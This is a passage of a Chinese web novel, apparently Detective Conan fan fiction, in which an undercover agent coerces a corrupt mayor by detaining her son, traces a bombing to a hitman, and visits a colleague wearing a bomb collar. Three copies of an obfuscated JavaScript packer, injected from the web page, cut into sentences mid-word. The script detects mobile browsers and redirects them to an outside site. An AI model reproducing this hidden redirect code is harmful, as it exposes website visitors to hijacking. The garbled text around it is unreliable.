“他们警察厅里面是打算怎么处理这件事的?” “之前已经派人接触过了,但是在那次见面之后,上野惠理就开始闭门不见,这两个星期她基本上是推掉了所有需要她本人出席的公开会议和仪式。” 竹取无尘想到了昨天组织交接到自己手上的资料:“包括公安的人找她她也不见?” “毕竟我们不清楚她到底是怎么和组织的人接触的。”风见裕也摇了摇头,“没有实质的犯罪证据,而且她和北海道的井上知事来往密切,实权很大,我们没办法轻易下手。” “她还有一个国中在读的儿子,这是他的资料。” “噢?”青年若有所思地审视着资料单,这比杀马特还杀马特的造型,这比一个班的人加起来都多的学校违纪记录。 “怎么还因为打架斗殴进去过这么多次?典型的不良少年啊。” “上野惠理晚婚晚育,丈夫和儿子都随她姓,。”对面人整理了一下眼镜,“您想从他儿子下手?” “先联系上野惠理本人看一下。”竹取无尘拿起一边的热可可浅酌了一口,“当然,是用组织成员的身份联系。” 青年接着说道:“不知道龙舌兰之前到底做了些什么,也不知道这个人怎么就又被炸死了,总得直接联络试探一下。” “你们是不是得多安排点人手了,这炸弹犯最近也太多了。” “还有就是……”他看着那一行写着兴趣爱好的资料。 “这个人,把他的所有资料也一起发我邮箱。” 青年的手指点了点这位名叫Elkord Kam的日本籍电子游戏明星。 喜欢玩是吧。 如果上野惠理不见他,那他就陪这孩子玩玩。 “好的竹取先生,所有的情况我会如实转达给警察厅,那我们等你之后给出的消息,再决定怎么走下一步。”公安整理好了资料,“您还有别的事情吗?” 风见裕也眼睛下的黑眼圈有点太明显了,竹取无尘看着对方,说道:“没有了,麻烦你们了。” 那人长叹口气,点了点头:“好的,那我先走了,您有事随时可以联系我,或者联系桐生警部补也行,我们两个之前有过合作。” “辛苦了。” 青年又目送风见裕也风尘仆仆地离开,打开了那份“广田雅美”的资料单,扫过信息,手指缓慢地卷动着纸张边缘。 还真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16517654|184862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有这么巧的事情。 宫野明美就是那位代号雪莉的研究人员的姐姐。 093 事情回到现在的时间点。 珀洛塞可坐在高楼的会议室中,背面是一整块大落地窗——但是窗帘已经被全部拉死,毕竟他也不想又莫名其妙进入谁的狙击范围内。 他在和风见裕也见面过后,就直接来到了北见市,不出所料地,上野惠理对于他的消息全部都是已读不回。 如果她只是对组织的人已读不回那还是好事,但她同时也对公安的人置之不理,那么这人的态度就有待考察了。 组织给龙舌兰批了六百万美金作为接近上野惠理的筹码———但是现在人死了,钱也不见了。 那这钱的去向也很明显了。 青年撇了一眼一边老实得已经和鹌鹑差不多的上野拓,手中的枪械转了个花。 “你…你要干什么!我说了我妈会来的!”那孩子发现男人正在看着他,惊恐地出声。 从头到尾根本没有把枪对准过上野拓的珀洛塞可:……… “安静点,好吗?”他把枪械收回衣服内,“在你的市长妈妈来之前,我又不能真的杀了你。” “所以把你的嘴闭上。” 上野拓听到这话,安静地往沙发角落缩了缩。 他觉得自己可能是误入了什么极道的场所,但是这人就把自己随便地往会议室一丢,也不骂也不打,就这么干坐着。 他刚刚看着这人在发呆,原本想在后面敲一闷棍然后直接跑路,结果他还没有站起来,对方就像能读心一样,不知道从哪里弄出来一副手铐直接给他铐上了。 这年头极道怎么活得像看守所一样啊! “大人。”门口的守卫人员敲响了门,“人来了。” 珀洛塞可眯了下眼睛,笑道:“带进来。” “上野拓!”一位成熟干练的女性直直冲着自家儿子走了进来,很明显就不是第一次帮人收拾残局,“你怎么敢和人赌博的,之前那些事都算了,这个你也敢碰!” “妈!!这真的不怪我!明明就是——”少年一下子站了起来,带着哭腔辩解,说到一半又突然想到了什么,一下闭上了嘴。 “抱歉,是我管教不当,这孩子欠了你们多………” 上野惠理说着就要拿出自己的银行卡,但是在抬头看清前方老板椅上坐着的人之后,整个人直接被钉在了原地。 这身黑衣服…… “你们是……” 她想到那天那个带着一行李箱美金来找她的那个组织———自从那天过后,来自上级的、公安的、各方大企业的压力就朝她扑来,她早就应该猜到这个组织在政界有着极大的影响力。 “上野市长事务繁忙,可以理解。” 青年顺手摘下眼镜,用一旁的眼镜布擦拭着镜片。 “但是既然来了,可不可以接着我们上一次商议过的那几个项目接着聊聊呢?” 珀洛塞可从口袋里掏出枪支,“啪”一下按在了面前的桌子上,不得不说,琴酒有时候用过的招数真是不错。 “妈…你们在说什么……” “闭嘴上野拓。”一向稳重的市长面色惨白,她看向自己这个不争气的儿子。 明明他们再忍耐几天就可以了,明明事情已经快处理完了。 “你们想要聊什么?” 珀洛塞可笑着戴回眼镜,按住了一边的对讲装置:“来个人把我们的小少爷带到隔壁,拿份甜品给人压压惊,不然吓生病了还得去儿科躺着。” “至于我们的上野市长,”青年起身,带着皮革手套的手示意了一下面前的座椅。 “请坐。” 这人的情绪很不对劲。 乱七八糟的心声钻进耳朵里,珀洛塞可打量着面前叮嘱着自己儿子的女人。 如果只是单纯的害怕组织,不可能是这个情绪。 那她又在整件事里充当了什么角色呢? 34.第 34 章 094 “你们组织还真是无所不用其极啊。”上野惠理稳坐在珀洛塞可面前,双手叠放在腿部,一个正式而又克制的姿势,“上野拓还只是一个孩子。” “我想我们在这里不是讨论育儿方针的。”青年推过去了两份计划书,“而且您孩子不也完完整整地坐在隔壁房间里了吗?” “如果不是您收了的东西后就闭门不见,我们又怎么会用上这种手段?” 组织在龙舌兰的所有住所里面都没有找到那六百万现金。 “只是公务繁忙而已。” 女人的声音里带着些阴沉,她死盯着面前坐着的青年,没有接过那两份文件。 “我听说您搬了新家。”珀洛塞可漫不经心地看着对方的眼睛,“没有备上点礼物,确实是我们礼数不周。” 一位公职人员,明目张胆搬进了风景区视线最好的独栋别墅? 她和她的配偶都家境一般,丈夫也只是一位小学美术老师———甚至于说在上野惠理出任北见市市长后,她的丈夫基本是一种半离职状态。 现在的日本经济可不怎么好。 精神力值降低至60% 这人没有被组织用药物控制过,但是…… “不过我相信现在准备也来得及。” 青年勾了勾嘴角。 “行李箱太重了,您一个人也很难搬走,不如说,您喜欢哪个国家的银行?瑞典?美国?” “方便给个渠道吗?我们会把礼物直接送到您的家门口。” “哦?”上野惠理往后靠了靠,那天直接到手的六百万美金着实让她好几夜没有睡好觉,废了不少功夫才把钱弄走。 反正这件事也快结束了,她签不签字根本无所谓,但是对方主动提到这件事,她不介意多收一笔。 “那多不好意思。” 一张写着镜外银行账户的纸条被女人从桌面上递过。 “这两份文件,我会签的。” “合作愉快。” 上野惠理作势起身,珀洛塞可却一把伸手按住了面前她准备拿起的资料:“女士。” 青年抬头,穿过镜片直直和对方对视:“您最好考虑清楚了,您对之前那个人的用的手段,对我可不管用。” 他清晰地捕捉了上野惠理在听完这话之后骤然收缩的瞳孔,对面这人的心声也随之放大。 “你们什么意思?” “我们能有什么意思。”珀洛塞可又松开手,友善地笑了笑,“自然是想能有一个长期的合作互利的关系,希望下次找您,不用通过您年仅14岁的独生子。” 女人听完这话,紧绷的手臂曲线才稍微放松了一点,她同样挂起一个标准的微笑:“这是自然。” “您儿子就在隔壁,手铐我会让人解开,抱歉,他看起来实在是太想杀了我了。” “那么,合作愉快。” 直到上野惠理带着她儿子彻底离开,竹取无尘一直扬起的嘴角才缓缓落下,黑瞳中闪过一丝冷意。 北海道真是被渗透得救都救不回来了。 这人的精神画布,不受控制钻进他耳朵里的声音,那一试探就试探出来的反应。 龙舌兰是被上野惠理弄死的。 095 竹取无尘想清楚了事情的来龙去脉,擦去了自己脸上稍作伪装的化妆品,以最快的速度离开组织名下的公司,回到自己的车上,径直给降谷零打去了电话。 耳边传来忙音,对面无人接听。 青年皱了皱眉,转而打给了风见裕也。 “喂,风间。”他摘下自己带了一晚上的平光镜,丢放到仪表盘上,“事出紧急,你先听我说。” “第一,先派人去看住上野惠理,这人想跑,不管你们用什么理由,绝对不能放她出境。” “第二,保护好你们派出去接近上野惠理的公安,她买凶杀人了,我觉得她不可能只盯上了龙舌兰。” “第三,上野惠理的境外交易账户我已经发送到你的邮箱,她肯定转移了大量贪贿资金在这个账户里。” “第四,北海道的井上顺阳知事也有问题,我清楚这不是公安警察的管辖范畴,不过你们最好还是快点找到相关的部门去查一下。” 青年听着耳边的电话里面传来嘈杂的声响,电话那头的公安噼里啪啦打着键盘,背景音是听上去已经乱套了的办公室。 风见裕也声音带着不少的着急:“好的竹取先生,已经全部记下来了。” 现在已经将近凌晨,这位公安还在加班就算了,为什么听上去整个公安部的人都还全部在办公室。 “我们现在就去安排。” 降谷零没接电话,而风见裕也是降谷零的直属下级。 青年在思虑中下意识敲了敲手指:“你现在在警视厅还是在警察厅?” 风见裕也:“我在警察厅,您是要直接过来吗?” 窗外的雨滴砸上了自己的车窗。 “我过不过来取决于接下来你会不会告诉我。” 青年侧头夹住电话,启动了车,直接发问道:“你能告诉我降谷零他到底出什么事了吗?” 对面的人怔住,支支吾吾了一瞬,又停下,电话里只剩下那边一片忙乱的声音。 096 电梯下行了大致四十秒。 青年出示了公安证件后一路进入这个位于北见市郊区的地下室———风见裕也在获取降谷零的同意之后,给他发送了地理位置坐标。 地下室的建筑材料明显和一般建材不同,而且如果作为一个普通地下室,确实修建得太深了。 这里是一座地下掩体。 “hagi,我觉得可以考虑从这里……” “可以考虑,不过要不还是直接使用中和剂……” 竹取无尘一下电梯,就看见了一边角落里,盘腿坐在地上拿着一堆零件对着图纸比比划划的萩原研二和松田阵平二人。 青年和两人打了个招呼,幼驯染二人看了一眼玻璃隔间内的人,先行离开了地下掩体,留下了谈话的空间。 竹取无尘的目光同样放在了地下室中央围绕起的玻璃隔间上,脸色微沉。 安装在一边柱子上的通讯电话响起,他打量着坐在玻璃装置内笑着看着他的同事,接起了电话:“又是地下掩体,又是防爆的特种玻璃。” 自己上次见到他还是在医院,没想到这一次见面的场景比医院更糟糕。 竹取无尘深吸一口气,接着道:“你不要告诉我你脖子上那个东西是炸弹。” “你这不都猜出来了吗。”降谷零晃着手中的酒杯,声音依旧一如往常的平和,“不过我没想到你会来的这么快。” 甚至是白天刚出的事,晚上人就直接找过来了。 “消息一对上,整件事还是很好推理的。” 青年想到上野惠理那乱七八糟的心声里面,偶尔透露出来的过于有用的话。 ———明明再等两天,把那个公安也炸死就行了。 ———明明组织的人都已经弄死了,结果突然卡在了这一步,井上顺阳都给我介绍的什么垃圾。 “龙舌兰在和上野惠理见面之后死于炸弹爆炸,那人是上野惠理雇人杀的。” “上野惠理想拿钱跑路,所以她选择在短时间内除掉龙舌兰,她不清楚公安派出去和她接触的人到底掌握了多少情况,但是她猜到了组织内肯定有人泄露了消息,而这些事情都是绝密,所以如果那位公安死了,她的消息泄露的几率也同样会大大下降。” “那位公安也同样是她要除掉的对象,但是不知道为什么,她雇的人好像出了差错,导致时间被拖成了两三个星期,这大大打乱了她的计划。” “但是为什么这个人会是你?” 又或者说,在对方的目标是杀死那位公安的情况下,为什么降谷零现在还在这里? 金发公安听着同事突然掌控的一堆情报,同样愣了愣:“你这一趟任务收获挺多啊。” 青年眉眼弯了弯:“所以能告诉我吗?” “自然没问题。”降谷零站起,防爆玻璃的隔音有点太好,声音被闷在自己周身,还暂时不太习惯。 “之前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16529663|184862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出面去接触上野惠理的人是我在警察厅内部的直属下级,任务机密度很高,因此只有我、我的上级和他,我们三个人知道。” “他那天和对方接触回来其实并没有获取到什么消息,对方口风很严,我们监控了上野惠理的所有国内银行流水和我所知道的组织在国外银行的账户,都非常的正常。” “再加上龙舌兰一直没有消息,我们甚至已经觉得上野惠理是不是已经彻底拒绝了组织的合作邀请。” “直到你那一天给我说,龙舌兰死于炸弹爆炸,而组织内上野惠理的任务也一直没有完成,六百万美金同样查不到去向。” “我和我的下属这两天一直在北海道警察北见地区总部调查这件事,今天上午他无端地收到了一件快递短信,短信内容是他有一份快递被放到了警署楼下的储物柜中。” “所以你觉得事情不对,代替他去拿了那份快递?”竹取无尘蹙了下眉。 “对。”金发公安拿着一旁的电话,在隔间中左右踱步,“当然我也带了人过去,原本对方已经被控制住了。” “不过我确实没想到那人扎着的头发里还藏着一颗手榴弹。” 当时他们就在警署一旁的小巷里,但是一边的楼房是居民区,不远处是一条车水马龙的街道。 那只手榴弹要是真的飞了出去,后果不堪设想。 还好被他用枪在空中击中,截住了。 “你就又被手榴弹阴了?”就在大半个月前,这人才因为手榴弹爆炸导致了轻微脑震荡,竹取无尘想到了那天这人在医院里的说辞。 “甚至可能还是同一个人的手榴弹。”降谷零垂眸,“那人的右手从来就没有抬起来过。” “而且我脖子上这只也同样是液/体/炸/弹。” 公安揉了下鼻梁:“对方的目的很明显了,想通过我来找我的那几个好友。” “同一个人?”青年缓慢地眨了眨眼,所有零散的线索在此刻串成线。 “同一个人。”公安点点头,“这么看起来,上野惠理找的人、上次我们五个遇到的人和导致组织任务过程中发生爆炸的人,都是同一个人。” 那天的FBI研究员同属于美国科西嘉财团,他说他们雇的人没办法来,是因为被诸伏景光击中了右肩。 除掉两个毫无防备的人对于一位专业杀手来说,本该非常简单,但是上野惠理的计划却莫名在杀了龙舌兰之后卡住了。 也是因为诸伏景光那一枪,让人没有办法接着完成任务。 ———“一会我就让普拉米亚把现在这个人也杀了。” ———“不过就是加码帮她找几个警察而已。” 普拉米亚。 “哈。”竹取无尘想到自己听到的情报,冷笑一声。 原本他还以为只是一个普通的杀手,现在看起来,这北海道真是没救了。 “那个人还真是盯上你们几个了啊。”青年捋开了挡在眼前的发丝。 “原本没想让他们两个参与进来的。”公安失笑,又叹了口气,“结果真让他们两个推理出来了,说着什么他们两个拆过那个人的炸弹,一定要来看一眼。” 降谷零看着对面人的一袭黑色大衣,上面沾染了不少雨水,想到了什么:“不过你去见上野惠理应该是做了伪装的吧。” “当然。”竹取无尘颔首:“虽然不能做到贝尔摩德那样,但是也差不多能保证他们认不出和我是同一个人。” 龙舌兰在没有防备的情况下被杀了很正常,他要是在明知对方有问题的情况下还用真面目示人,就显得有点缺心眼了。 “而且对于那个人。”他看着同事蓝灰色的眼睛,“我想我有点头绪了。” 降谷零:“怎么说?” “等我回去查一下,所有的资料会发给你。”竹取无尘整理了一下衣服,“最近你如果有相关的任务,不介意的情况下——” 话音未落,玻璃隔间内的内部通讯电话传来消息提醒。 正在说着话的人一顿,在消息提醒结束之后又接着道:“不介意的情况下,我可以代劳。” 35.第 35 章 097 降谷零侧头夹住电话,手上又拿过一旁的设备查看消息,消息不算长,那人看完后眉头微皱,对着玻璃外的竹取无尘叹了口气。 “不会真有任务吧。”青年看着同事这个反应,他真的对警察厅公安的工作强度叹为观止了。 人还戴着炸弹在里面关着呢,这个工作怎么追着降谷零跑啊。 “毕竟没有对外宣称我的情况。”金发公安靠上了椅背,在手机键盘上敲敲打打,“Hiro在东京那边执行任务,整个公安部都在忙爆炸案的事,可能还真要麻烦你一趟了。” “所以我现在是要做你们警察厅的任务了?”竹取无尘听到自己手机传来的消息提示音,同样拿出了设备。 “毕竟在北见市可没有能够信任的地方警察啊,警官。”公安略显无奈道。 “麻烦你了。” “没事,你好好地把你那个炸弹拆了,需要帮助的话我会直接联络你们。”青年扫了眼消息,又把目光放在了玻璃那侧的同事那边,审视地看了两圈。 “不过我很想问一句,你今天晚上就坐在这个沙发椅上睡觉吗?还是直接睡地上?” 降谷零:……? “我觉得我戴着这个东西…貌似也只能坐着睡吧?” 躺下的话头会悬空卡在炸弹上的啊! “倒也是。”对面那人莫名其妙点了点头,煞有介事地评价道,“这炸弹犯的人文关怀做得也太差了。” 降谷零:………? 这人是只有幽默细菌吗? “噗…咳咳…抱歉抱歉。”竹取无尘看到对方的表情,伸手虚遮了一下自己的嘴角,眼睛里闪过笑意,“那我先走了。” 那人把电话挂回了墙面,整个隔间落回安静,公安看着他走到了电梯门口,随即又转过身对他说了点什么。 他听不到,但是可以根据口型判断出来。 那人说:“祝你一夜好梦。” 098 时间其实没有过多久,青年一出来就又看到松田阵平和萩原研二两个人在门口端着图纸抽着烟,大有一副不把炸弹拆了两个人就不睡了的样子。 他又一如来时地与二人告别,冒着雨钻回了自己车里。 降谷零今天晚上怎么睡觉他不知道,但是今天晚上他可能是没法回床上睡觉了。 什么叫做日本医药开发株式会社的董事被组织的人软禁了? 这是他这个潜入搜查官该管的事情吗? 日本医药开发株式会社,国有企业,承担了大部分日本疫苗、抗生素等药物的研发和生产,被软禁的高桥辉在半年前上任董事,年仅28岁。 这人的父亲是日本厚生劳动大臣高桥光雄。 竹取无尘看着面前的资料,一头趴在了面前的方向盘上。 他最近是不是和这帮二代们太有缘了一点,几个小时之前才弄走一个小的,现在又来了个大的。 凌晨三点二十分。 青年盘算着时间,在发觉距离和警察厅公安上级的见面只有不到五个小时了之后,毅然决然开车直接去到了会面地点附近。 好消息是他还可以在车里睡个三小时。 099 【?】 “这一堆符文阵法到底是什么东西?” 自己的精神画布深处从一开始就有这个和现代风格完全不同东西了———但是他对此却完全没有头绪。 “让你乖乖闭嘴的东西。”陈无在一边坐着翻阅训练记录,头都没抬一下,高高束起的马尾有些许发丝垂落在椅面。 他眯了眯眼,接着问道:“精神指令?精神系的能力?” “不算是。”那人关上了文件,放在了一边的桌子上,“只有在必要的时候才会被触发。” “比如受到来自他人的强烈精神攻击的时候,比如被洗脑的时候,比如你对同样拥有这份『祝福』的人使用精神攻击的时候。” “你应该知道这是个连尸体都会被叫起来吐情报的地方。” 听着这话,他转身看向那人:“触发了会怎么样?” “和死了没什么两样吧。”男人轻笑,“精神画布被全面摧毁,记忆清空,对外界也没什么反应……嗯……会呼吸的死人?” “你管这个叫祝福?” “怎么不算祝福。”声音里带了不少嘲弄,“完全杜绝了你被控制的可能性,这不好吗?” 青年面色沉了下来,他看着男人的黑瞳:“这个东西到底是哪里来的?” “你是十万个为什么吗?”陈无也在看着他,他发现那人的手指在一边的文件上画着圈。 “很早就有了。” “这份来自阿蒂斯的祝福,很早就有了。” 他突然觉得那人离他好远。 “陈…” 怎么不算祝福? 黑色的瞳孔渐渐淡成了浅灰色。 到底发生了什么事。 【我也很想回答你。】 那人坐在椅子上,依旧歪头笑着看向他,就像这段时间来每一个普通的日子一样。 【可惜我现在好像办不到了。】 这人已经不是他了。 他死在这份祝福里。 100 其实他祝降谷零有个好梦的同时,也希望自己能做个好梦,或者不做梦也行。 而不是一遍又一遍地观看那个人的死亡回放。 死了这么久的人能不能别再缠着他了! 竹取无尘瞄到了后视镜里,自己那同样明显的黑眼圈,无奈地套上了帽子和口罩。 这睡了还不如不睡呢。 青年走进北见市的警署,出示自己的身份证明后被带进了最高层的办公室。 “田中警视总监您好,我是警察厅指派来的警部,这次的任务由我协助。”竹取无尘看着面前这位地方警署的总负责人,挑了下眉。 厚生劳动大臣的派头果然不小啊。 “来了啊。”上级没有起身,他看了一眼一袭便装的来人,放下了手中端着的杯子,“不过竹取警部,你这一身着装是不是太不礼貌了。” “一会要来可是厚生劳动大臣。” “我是一名潜入搜查官,田中警视总监。”青年站在办公桌另一侧,甚至抬手又压低了自己的帽沿,“我会出现在您这里已经是冒着身份暴露的风险了,而且我想,您并不能算我的直属上级。” 这人想要怎么对高桥光雄摇尾谄媚他管不着,但是想用这层身份对他耍官威? 做梦去吧。 “你………”上级显然是在官场被高捧了许久,听到这话正想以教训下级的理由发作,却又被门外的声响打断。 他转头看向一边。 “高桥先生!”对方一转口吻,起身朝着门口的人迎了上去。 “真是辛苦您来一趟了,令郎的事情我们听说了之后也很担心,原本我说我们带着人去您府上直接和您沟通,没想到您还是在百忙之中抽空来了。” “您请坐。” 田中敬三伸手示意了一下红木桌对面的沙发,同时给竹取无尘递了个眼神。 “你们也不用这么客气。”高桥光雄坐在了对面的沙发上,背靠着窗,整间办公室开了暖气,冬日的阳光透过了玻璃。 这间办公室有着极好的视野。 “这位是?” “竹取无尘,警察厅指派的警部,这次的任务由我主要负责。”青年站在田中敬三旁边,无视了那个“快去给人倒杯水”的眼神,直截了当地进入了话题。 “辛苦你了竹取警部,我们坐下聊。”男人打量了一番这个把自己裹得严严实实的人,“也不要把我当成什么官员,这是毕竟是来自一位父亲的请求。” “您这话说的……”上级直接拽过一边站着的人在另一侧的沙发就坐,“不管是谁,在北见市发生了这种恶性事件,我们都会全力应对的。” “之前那次行动失败是我们疏忽了内部的问题,所以我们这次采用了最直接的方法,一定会把令郎安全送回。” “我理解,这种事情是难免的,不过还是要加强一下内部管理啊。”坐在对面的高官语气平和,“竹取警部是潜入搜查官?” “是的。”青年的声音闷在口罩里,点了点头。 “我这孩子心气高,惹了这么大的麻烦,还把你们这些处境这么危险的人也牵扯了出来,真是对不住。”对面的人说道。 “竹取警部,我这边只希望你们可以尽量把我这孩子在8号之前带回来。” “当然了,带不回来也没关系,我相信那个组织就算看在我这一层的关系上,他们也不会做什么,你们以自己的安全为重。” 青年没说什么话,所有的表情都被盖在了帽沿和口罩下,让人摸不清楚态度。 精神力值降低至30% “这是我们应该做的,高桥先生。”田中敬三瞪了一眼在一旁装死的人,恨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16543136|184862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不得起来把人拽起来,再按着鞠个躬。 “我知道这可能有点强人所难,但是你们也清楚,最近太多媒体都在关注8号那场峰会,我也只是希望给民众一个交代。” “这是当然。”坐在一边的青年终于冷冷地接话,“令郎会准时准点回来的。” “您大可以放心。” “不用太勉强。”对面那人冲着他笑了一下。 “还是以你们的安全为重,如果因为我这个儿子,让警方造成了损失,我们真的会觉得很过意不去。” “是吗?”他不太自然地歪了下头。 “那还真是谢谢您了。” 多么平易近人、通情达理的一位父母官。 他差点就要信了。 101 竹取无尘在田中敬三厌恶的眼神中离开了警署,坐回了自己的车中。 青年拉下口罩丢在一旁,总觉得有什么东西哽在了自己的喉咙里。 高桥光雄的情绪从一开始就不对劲。 ———“这帮该死的媒体就想着8号抓我的错处,那组织还真是故意卡了个好时候,什么家庭不和,什么儿子亲美,什么父子反目,全是狗屁。” ———“这堆警察也是废物,让内鬼透露了消息,又让那帮人带着高桥辉那个死小子转移了,我看现在这个也是同样的废物。” ———“不…不行,我不能就这么听了那个组织的话,好不容易才到了这个位置,要交易我也得换个东西和他们交易。” ———“卧底啊………” ———“一个涉黑组织,总有人会想用抓卧底这种事往上爬吧。” ———“反正那个组织的药也够成熟,这帮搜查官迟早会死。” ———“不如死之前帮我一把,要是再出点什么丑闻,不知道我还会亏多少。” ———“7号之前我要是再看不到那个死小子,也就别怪我再和那几个老东西会会面了,我这么多年不和他们接触,已经是仁至义尽。” ———“正好也再让我看看他们那个药的效果,如果真的是他们所说的那样,那我不介意………” 装得真好啊。 手里拿着的文件在思索间被用力攥成了一团废纸。 装、得、真、好、啊。 那人想利用组织内部的矛盾,用搜查官的命来换他自己的自由和权力。 更恶心的是,这个任务他还必须得做下去,他还真的得把高桥辉在8号之前弄出来。 他不敢赌对方是不是只在心里想想。 高桥光雄这个地位的人,调取一份卧底资料简直轻轻松松,就算调取的不是他的,也会是其他搜查官的。 杀人竟然只是动动嘴的事情。 他是不是还该谢谢这人还给了他几天时间? 他是不是还该谢谢来做这个任务的是他? 陈无当年是因为什么暴露的,他还没有忘。 这种事情不能再发生一次了。 绝对不能。 102 【“阿蒂斯”】 “你要是真的敢动手,你就是在违抗军令,你这是叛国!” “叛国?” “你也好意思说出这种话?” “不是你把陈无的资料递给瑟克尔那边的吗?” 没有人说过电车的拉杆只会出现在他的手上。 “你们就这么害怕他?还是说你们用他来赚了什么?” 他听着门外打斗的声音,这人豢养了不少高级异能者,但是边境上,可是连一位B级以上的强攻类能力者都很难找到。 “这么惜命啊。” 不能再放任这种人在他们内部待着了。 而且有人得偿命。 “真遗憾,我不在乎。” 血液飞溅在了阿蒂斯的旗帜上。 103 “你为什么还要回去?” 他看着天上那轮没有光亮的月亮——或者说一块在天上飘着的石头更适合用来形容这个东西。 这里曾经是那人的家乡。 一场大火,在过往无止境地流淌。 “我要是不回去的话,陈无之前做的一切努力可就真的是白费了。” 104 “风间,我需要警察厅那边给我批下来点东西,越快越好。” “最快也要一个星期?” 有人在故意卡着时间。 “好,我知道了。” 36.第 36 章 105 【电脑通讯】C:普拉米亚,女性,俄国人,金发,疑似关联照片在附件里。 【电脑通讯】Z:收到。 【电脑通讯】:相关通缉令已经在审核,那人的常见装备是鸟嘴面具,最近应该会继续停留在北见市活动,如果你遇到可疑人员,还请务必直接控制后移交公安方。 直接控制。 竹取无尘敏锐地捕捉了这个字眼。 公安要抓活口。 也对,作为一名公安,杀人从来不是常见手段。 诸伏景光有机会杀了普拉米亚,降谷零同样也有机会杀了那人,但是他们都没有这么做。 在作为公安的时候,手里的枪从来不是用来杀人的。 竹取无尘坐在自己在北见市短租下的安全屋,看着面前的消息神游天外。 有些事情并不是不说,就不存在。 比如他其实清楚,当时诸伏景光根本就没有一枪杀死卡尔瓦多斯。 年轻的公安只是一枪让那人丧失了行动能力,导致杀手被一大堆政府官员和警察包围,那人不想被逮捕,直接开枪自决了。 在那种情况下,就算诸伏景光真的杀死了卡尔瓦多斯,也不会怎么样。 就像他那天对普拉米亚开的枪一样。 有些时候他觉得皮革夹上的樱花标真的很刺眼————公安的主要目的是维系/稳定,但他不完全是。 他曾以为自己能够适应这个身份。 可是他们有着不同的目的。 比如他为了拿解药,炸了大半栋楼的实验基地,死了不少人。 比如他为了彻底获得琴酒的信任,又杀了两个或许没有多少过错的人。 哪怕他顶着这个【卧底】的名头,做的事情对于公安来说也太过火了———更何况这些事情就没有完整告知过警视厅上级,桐生晴的态度很明显,她极度信任他,厌恶上层的官僚,她瞒了上级不少事情。 就连他的第一次任务,她给出的那一句“配合其行动”也很奇怪———公安真的会明目张胆允许卧底大开杀戒吗?允许诸伏景光的行动他不意外,允许他清场的话,真实性就有待考察了。 文字游戏而已,这里毕竟是灰色地带。 公安管不过来这么多,总不能他在明确完成了公安任务的情况下,那边还要直接逮捕他吧? 相同的逻辑也适用于现在。 适应不了就不适应了,本来日子就难。 大不了不干了。 今天是12月3日。 整个北见市的公安系统都不可信,有内鬼是板上钉钉的事情,他们曾经计划直接让警察围了高桥辉被软禁的地方,结果就是对方早已经被转移,警方白白折损了不少人员。 所以他们换了策略,找上了潜入搜查官,由警察厅直接负责,任务被交给了降谷零,又转到了他的手上。 事情发展到现在,可以确定高桥辉不会有生命危险,组织软禁这个人不过就也就那几个目的,要挟其父高桥光雄,或者想控制日本医药开发株式会社的某些项目。 他原本只想让警察厅给他批一点催泪瓦斯之类的,当然能批下来小型炸弹是最好,等他摸清楚高桥辉在哪,直接像偷解药那次一样故技重施就行。 但是批不下来,炸弹这种东西更是被彻底驳回,理由是这种东西是在制造混乱,容易伤及人质。 他现在很好奇当时桐生晴到底都做了些什么。 公安不需要这么激进的手段,他们觉得这件事情可以慢慢稳妥地解决,但是他不一样,他知道要是8号之前没有把人带出来,可能会有人出事。 要快。 公安方说等10号之后,他们会考虑从东京派点人手过来,让他先确认高桥辉的具体位置就行。 毕竟高桥光雄很好心很体谅地没有给那边一点压力,现在所有人的注意力都聚焦在几天后东京那场国药战略发展峰会。 刚好有人想卡着这个时间点,给高桥光雄找点不痛快———毕竟高官之子被涉黑组织软禁这种事情可不能告知大众,不然高桥辉出来之后,不管他和他父亲做出什么事情,都容易被各类阴谋论淹死。 而这么重要的峰会,父子二人一旦有一人缺席,就又会是一堆乱七八糟的舆论,首当其冲受难的应该就会是高桥光雄的风评,而后是他控股的相关产业。 来不及。 等公安慢悠悠地反应过来,一切都来不及了。 要不直接把高桥光雄杀了算了? 这样事情就完美解决了———不会有任何潜在的危险,死的不过是一个会随时跳反的官员。 青年深吸一口气。 但是那人很明显在知道组织的药物作用的情况下,还是没有彻底归属组织,甚至对于这个组织呈现的是比较反对的态度。 如果他真的杀了高桥光雄,那么新上任的又会是谁?又会是什么态度? 这人不能杀,这条路走不通。 如果他直接拿着两把手枪和一堆刀进去救人,上上签是他直接由于组织各类据点的虹膜验证暴露,高桥辉得救,但是通常情况下会变成他死亡,高桥辉被转移,高桥光雄狗急跳墙拿出卧底资料,达成一个最坏的结局。 这条路同样走不通。 或者他只能装作不知情,等待厄运随机降临在他或者随便一位搜查官的身上。 